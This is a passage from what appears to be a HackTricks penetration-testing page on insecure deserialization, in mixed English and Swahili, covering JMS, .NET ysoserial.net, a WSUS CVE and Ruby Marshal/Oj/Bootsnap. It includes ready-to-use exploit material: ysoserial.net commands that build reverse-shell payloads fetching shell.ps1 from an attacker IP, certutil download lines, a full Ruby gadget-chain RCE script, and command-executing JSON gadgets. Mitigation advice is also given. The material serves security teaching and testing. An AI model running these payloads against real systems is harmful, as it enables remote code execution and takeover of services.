  • jdeserialize allows for the analysis of serialized Java objects without deserializing them, helping identify potentially malicious content.
  • Kryo is an alternative serialization framework that emphasizes speed and efficiency, offering configurable serialization strategies that can enhance security.

References

JNDI Injection & log4Shell

Find whats is JNDI Injection, how to abuse it via RMI, CORBA & LDAP and how to exploit log4shell (and example of this vuln) in the following page:

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Message Service

The Java Message Service (JMS) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From Wikipedia).

Products

There are several products using this middleware to send messages:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Exploitation

Kwa msingi kuna huduma nyingi zinazotumia JMS kwa njia hatarishi. Kwa hiyo, ikiwa una idhinishaji za kutosha za kutuma ujumbe kwa huduma hizi (kawaida utahitaji credentials halali) unaweza kutuma malicious serialized objects ambazo zitadeserializa na consumer/subscriber.
Hii inamaanisha kwamba katika eksploit hii wateja wote watakaotumia ujumbe huo wataathirika.

Kumbuka kwamba hata kama huduma ni nyeti (kwa sababu inafanya deserialization ya user input kwa njia isiyo salama) bado unahitaji kupata gadgets halali ili kutumia udhaifu huo.

Tool JMET ilitengenezwa kuweza kuungana na kushambulia huduma hizi kwa kutuma malicious serialized objects mbalimbali kwa kutumia gadgets zinazojulikana. Exploits hizi zitafanya kazi ikiwa huduma bado iko vulnerable na ikiwa mojawapo ya gadgets zilizotumika ipo ndani ya application yenye udhaifu.

References

.Net

In the context of .Net, deserialization exploits operate in a manner akin to those found in Java, where gadgets are exploited to run specific code during the deserialization of an object.

Fingerprint

WhiteBox

The source code should be inspected for occurrences of:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

The focus should be on serializers that permit the type to be determined by a variable under user control.

BlackBox

The search should target the Base64 encoded string AAEAAAD///// or any similar pattern that might undergo deserialization on the server-side, granting control over the type to be deserialized. This could include, but is not limited to, JSON or XML structures featuring TypeObject or $type.

ysoserial.net

In this case you can use the tool ysoserial.net in order to create the deserialization exploits. Once downloaded the git repository you should compile the tool using Visual Studio for example.

If you want to learn about how does ysoserial.net creates it's exploit you can check this page where is explained the ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter.

The main options of ysoserial.net are: --gadget, --formatter, --output and --plugin.

  • --gadget used to indicate the gadget to abuse (indicate the class/function that will be abused during deserialization to execute commands).
  • --formatter, used to indicated the method to serialized the exploit (you need to know which library is using the back-end to deserialize the payload and use the same to serialize it)
  • --output used to indicate if you want the exploit in raw or base64 encoded. Note that ysoserial.net will encode the payload using UTF-16LE (encoding used by default on Windows) so if you get the raw and just encode it from a linux console you might have some encoding compatibility problems that will prevent the exploit from working properly (in HTB JSON box the payload worked in both UTF-16LE and ASCII but this doesn't mean it will always work).
  • --plugin ysoserial.net supports plugins to craft exploits for specific frameworks like ViewState

More ysoserial.net parameters

  • --minify will provide a smaller payload (if possible)
  • --raf -f Json.Net -c "anything" This will indicate all the gadgets that can be used with a provided formatter (Json.Net in this case)
  • --sf xml you can indicate a gadget (-g)and ysoserial.net will search for formatters containing "xml" (case insensitive)

ysoserial examples to create exploits:

bash
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net pia ina parameter ya kuvutia sana ambayo husaidia kuelewa vizuri zaidi jinsi kila exploit inavyofanya kazi: --test
Ikiwa utaongeza parameter hii ysoserial.net itajaribu exploit locally, ili uweze kujaribu kama payload yako itafanya kazi vizuri.
Parameter hii ni msaada kwa sababu ukipitia code utaona vipande vya code kama ifuatavyo (kutoka kwa ObjectDataProviderGenerator.cs):

java
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Hii ina maana kwamba ili kujaribu exploit, code itaita serializersHelper.JsonNet_deserialize

java
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

In the previous code is vulnerable to the exploit created. Kwa hivyo, ikiwa utapata kitu kinachofanana katika application ya .Net inamaanisha kwamba programu hiyo huenda pia imeathirika. Kwa hiyo parameter ya --test inatuwezesha kuelewa which chunks of code are vulnerable to the deserialization exploit that ysoserial.net can create.

ViewState

Angalia this POST about how to try to exploit the __ViewState parameter of .Net to execute arbitrary code. Ikiwa wewe already know the secrets zinazotumika kwenye mashine ya mwathiriwa, read this post to know to execute code.

Mfano wa ulimwengu halisi: WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE

  • Endpoints zilizoathiriwa:
  • /SimpleAuthWebService/SimpleAuth.asmx → GetCookie() AuthorizationCookie decrypted then deserialized with BinaryFormatter.
  • /ReportingWebService.asmx → ReportEventBatch and related SOAP ops that reach SoapFormatter sinks; base64 gadget is processed when the WSUS console ingests the event.
  • Chanzo cha msingi: attacker‑controlled bytes reach legacy .NET formatters (BinaryFormatter/SoapFormatter) without strict allow‑lists/binders, so gadget chains execute as the WSUS service account (often SYSTEM).

Minimal exploitation (Reporting path):

  1. Tengeneza .NET gadget kwa kutumia ysoserial.net (BinaryFormatter or SoapFormatter) na utoe base64, kwa mfano:
powershell
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"

# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
  1. Tengeneza SOAP kwa ajili ya ReportEventBatch ukiiweka gadget ya base64 na ui-POST kwenye /ReportingWebService.asmx.
  2. Wakati admin anafungua WSUS console, tukio linadeserialized na gadget inaanzishwa (RCE kama SYSTEM).

AuthorizationCookie / GetCookie()

  • AuthorizationCookie ya bandia inaweza kukubaliwa, kufichuliwa, na kupitishwa kwa BinaryFormatter sink, ikiruhusu pre‑auth RCE ikiwa inafikiwa.

Public PoC (tecxx/CVE-2025-59287-WSUS) vigezo:

powershell
$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"

See Windows Local Privilege Escalation – WSUS

Kuzuia

Ili kupunguza hatari zinazohusiana na deserialization katika .Net:

  • Epuka kuruhusu mtiririko wa data kuamua aina za vitu. Tumia DataContractSerializer au XmlSerializer inapowezekana.
  • Kwa JSON.Net, weka TypeNameHandling kuwa None: TypeNameHandling = TypeNameHandling.None
  • Epuka kutumia JavaScriptSerializer na JavaScriptTypeResolver.
  • Punguza aina ambazo zinaweza kurejeshwa, ukielewa hatari za asili za aina za .Net, kama System.IO.FileInfo, ambazo zinaweza kubadilisha mali za faili za server, na kusababisha mashambulio ya denial of service.
  • Kuwa makini na aina zilizo na mali zenye hatari, kama System.ComponentModel.DataAnnotations.ValidationException na property yake Value, ambayo inaweza kutumika kama njia ya kushambulia.
  • Dhibiti kwa usalama kuanzishwa kwa aina ili kuzuia mashambulizi ya kuingiliana na mchakato wa deserialization, jambo linaloweza kufanya hata DataContractSerializer au XmlSerializer kuwa dhaifu.
  • Tekeleza udhibiti wa orodha nyeupe kwa kutumia SerializationBinder maalum kwa BinaryFormatter na JSON.Net.
  • Endelea kujifunza kuhusu gadgets zilizo hatari za deserialization ndani ya .Net na hakikisha deserializers hazianzishi aina hizo.
  • Separates code yenye hatari inaweza kutoka kwa code yenye ufikiaji wa internet ili kuepuka kufichua gadgets zilizo za kawaida, kama System.Windows.Data.ObjectDataProvider katika WPF applications, kwa vyanzo vya data visivyoaminika.

Marejeo

Ruby

Katika Ruby, serialization hutimizwa na mbinu mbili ndani ya maktaba ya marshal. Mbinu ya kwanza, inayojulikana kama dump, hutumika kubadilisha kitu kuwa mfululizo wa byte. Mchakato huu huitwa serialization. Kinyume chake, mbinu ya pili, load, hutumika kurudisha mfululizo wa byte kurudi kuwa kitu, mchakato unaojulikana kama deserialization.

Kuhifadhi vitu vilivyosasishwa, Ruby inatumia HMAC (Hash-Based Message Authentication Code), kuhakikisha uadilifu na uhalali wa data. Funguo inayotumika kwa madhumuni haya imehifadhiwa katika mojawapo ya maeneo yafuatayo:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.X generic deserialization to RCE gadget chain (maelezo zaidi katika https://www.elttam.com/blog/ruby-deserialization/):

ruby
#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Mnyororo mwingine wa RCE wa ku-exploit Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby .send() method

Kama ilivyoelezwa katika this vulnerability report, ikiwa ingizo lisilosafishwa la mtumiaji lifikie .send() method ya ruby object, method hii inaruhusu kuita method nyingine yoyote ya object hiyo na vigezo vyovyote.

Kwa mfano, kuitwa kwa eval kisha msimbo wa ruby kama parameter ya pili kutaruhusu kutekeleza msimbo wowote:

ruby
<Object>.send('eval', '<user input with Ruby code>') == RCE

Zaidi ya hayo, ikiwa tu parameta moja ya .send() imedhibitiwa na mdukuzi, kama ilivyotajwa katika maelezo ya awali, inawezekana kuita mbinu yoyote ya objekti ambayo haitaji hoja au ambayo hoja zake zina thamani za chaguomsingi.
Kwa hili, inawezekana kuorodhesha mbinu zote za objekti ili kupata baadhi ya mbinu za kuvutia zinazokidhi mahitaji hayo

ruby
<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

Ruby class pollution

Angalia jinsi inaweza kuwa inawezekana kusababisha uchafu kwenye darasa la Ruby na kuutumia hapa.

Ruby _json pollution

Unapotuma katika body baadhi ya thamani ambazo si hashable kama array, zitaongezwa katika key mpya inayoitwa _json. Hata hivyo, mshambuliaji anaweza pia kuweka katika body thamani iitwayo _json yenye thamani zozote atakazotaka. Kisha, kwa mfano ikiwa backend inakagua uhalali wa parameter kisha pia inatumia parameter _json kutekeleza kitendo fulani, inaweza kufanywa authorisation bypass.

Angalia maelezo zaidi kwenye Ruby _json pollution page.

Maktaba nyingine

Mbinu hii ilichukuliwa kutoka kwenye chapisho hili la blogu.

Kuna maktaba nyingine za Ruby ambazo zinaweza kutumika ku-serialize objects na kwa hivyo zinaweza kutumiwa kupata RCE wakati wa insecure deserialization. Jedwali lifuatalo linaonyesha baadhi ya maktaba hizi na method wanayoiita ya library iliyopakiwa kila inapounganishwa tena (kazi ya kutumika kupata RCE kwa msingi):

MaktabaData ya ingizoMethod inayozindua ndani ya class
Marshal (Ruby)Binary_load
OjJSONhash (class needs to be put into hash(map) as key)
OxXMLhash (class needs to be put into hash(map) as key)
Psych (Ruby)YAMLhash (class needs to be put into hash(map) as key)
init_with
JSON (Ruby)JSONjson_create ([ona maelezo kuhusu json_create mwishoni](#table-vulnerable-sinks))

Mfano wa msingi:

ruby
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

Katika kesi ya kujaribu kumtumia vibaya Oj, ilikuwa inawezekana kupata gadget class ambayo ndani ya function yake ya hash italeta to_s, ambayo itaongoza kwa spec, kisha fetch_path, na ilikuwa inawezekana kuifanya ichukue random URL, ikitoa detector nzuri kwa aina hizi za unsanitized deserialization vulnerabilities.

json
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}

Zaidi ya hayo, iligundulika kwamba kwa mbinu iliyotangulia kabrasha pia huundwa kwenye mfumo, ambalo linalohitajika ili kutumia gadget nyingine ili kuibadilisha hii kuwa RCE kamili kwa kitu kama:

json
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

Check for more details in the original post.

Bootstrap Caching

Sio kweli desearilization vuln lakini ni mbinu nzuri ya ku-abuse bootstrap caching kupata RCE kutoka kwa Rails application ikiwa kuna arbitrary file write (tafuta nakala kamili ya original post in here).

Hapo chini ni muhtasari mfupi wa hatua zilizoelezewa kwenye makala kwa ajili ya kutumia arbitrary file write kwa ku-abuse Bootsnap caching:

  • Identify the Vulnerability and Environment

    Ufanisi wa file upload wa app ya Rails unamruhusu mshambuliaji kuandika faili kwa hiari. Ingawa app inafanya kazi chini ya vikwazo (tu saraka fulani kama tmp zinaweza kuandikwa kutokana na Docker’s non-root user), hii bado inaruhusu kuandika kwenye Bootsnap cache directory (kawaida chini ya tmp/cache/bootsnap).

  • Understand Bootsnap’s Cache Mechanism

    Bootsnap huharakisha wakati wa ku-boot kwa Rails kwa ku-cache compiled Ruby code, YAML, na JSON files. Inahifadhi cache files zinazoambatana na cache key header (na nyanja kama Ruby version, file size, mtime, compile options, n.k.) ikifuatiwa na compiled code. Header hii inatumika kuthibitisha cache wakati wa startup ya app.

  • Gather File Metadata

    Mshambuliaji kwanza huchagua faili lengwa ambayo ina uwezekano wa kuhitajika wakati wa startup ya Rails (kwa mfano, set.rb kutoka kwenye standard library ya Ruby). Kwa kuendesha Ruby code ndani ya container, wanachota metadata muhimu (kama RUBY_VERSION, RUBY_REVISION, size, mtime, na compile_option). Data hii ni muhimu kwa kutengeneza valid cache key.

  • Compute the Cache File Path

    Kwa kurudia mekanismi ya FNV-1a 64-bit hash ya Bootsnap, path sahihi ya cache file inakaguliwa. Hatua hii inahakikisha kwamba malicious cache file imewekwa mahali palipoelekezwa na Bootsnap (mfano, chini ya tmp/cache/bootsnap/compile-cache-iseq/).

  • Craft the Malicious Cache File

    Mshambuliaji huandaa payload ambayo:

    • Executes arbitrary commands (kwa mfano, kuendesha id ili kuonyesha info za process).
    • Removes the malicious cache after execution ili kuzuia exploitation mara kwa mara.
    • Loads the original file (mfano, set.rb) ili kuepuka ku-crash kwa application.

    Payload hii inakomilishwa kuwa binary Ruby code na kuunganishwa na cache key header iliyotengenezwa kwa umakini (kutumia metadata iliyokusanywa hapo awali na nambari sahihi ya version ya Bootsnap).

  • Overwrite and Trigger Execution

    Kwa kutumia arbitrary file write vulnerability, mshambuliaji anaandika crafted cache file kwenye location iliyohesabiwa. Kisha, wana-trigger server restart (kwa kuandika kwenye tmp/restart.txt, ambayo Puma inai-monitor). Wakati wa restart, wakati Rails inahitaji faili lengwa, malicious cache file inaloadiwa, ikisababisha remote code execution (RCE).

Ruby Marshal exploitation in practice (updated)

Treat any path where untrusted bytes reach Marshal.load/marshal_load as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.

  • Minimal vulnerable Rails code path:
ruby
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
  • Aina za gadget za kawaida zinazopatikana katika chains halisi: Gem::SpecFetcher, Gem::Version, Gem::RequestSet::Lockfile, Gem::Resolver::GitSpecification, Gem::Source::Git.
  • Alama ya kawaida ya side-effect iliyopachikwa ndani ya payloads (inayotekelezwa wakati wa unmarshal):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip

Inapotokea katika programu halisi:

  • Cache na session stores za Rails ambazo kihistoria zimetumia Marshal
  • Backends za background job na file-backed object stores
  • Uhifadhi au usafirishaji wowote wa blobs za binary object zilizobinafsishwa

Uchunguzi wa gadget kwa kiwango cha viwanda:

  • Tumia Grep kutafuta constructors, hash, _load, init_with, au mbinu zinazosababisha athari za pembeni zinazotumiwa wakati wa unmarshal
  • Tumia CodeQL’s Ruby unsafe deserialization queries kurambaza sources → sinks na kuonyesha gadgets
  • Thibitisha kwa PoCs za umma zilizo katika miundo mingi (JSON/XML/YAML/Marshal)

Marejeo

  • Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
  • elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
  • Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
  • CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
  • ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
  • Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
  • GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
  • GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
  • Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
  • Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
  • Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
  • Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
  • Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
  • Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
  • watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
  • OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)
  • PoC – tecxx/CVE-2025-59287-WSUS

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks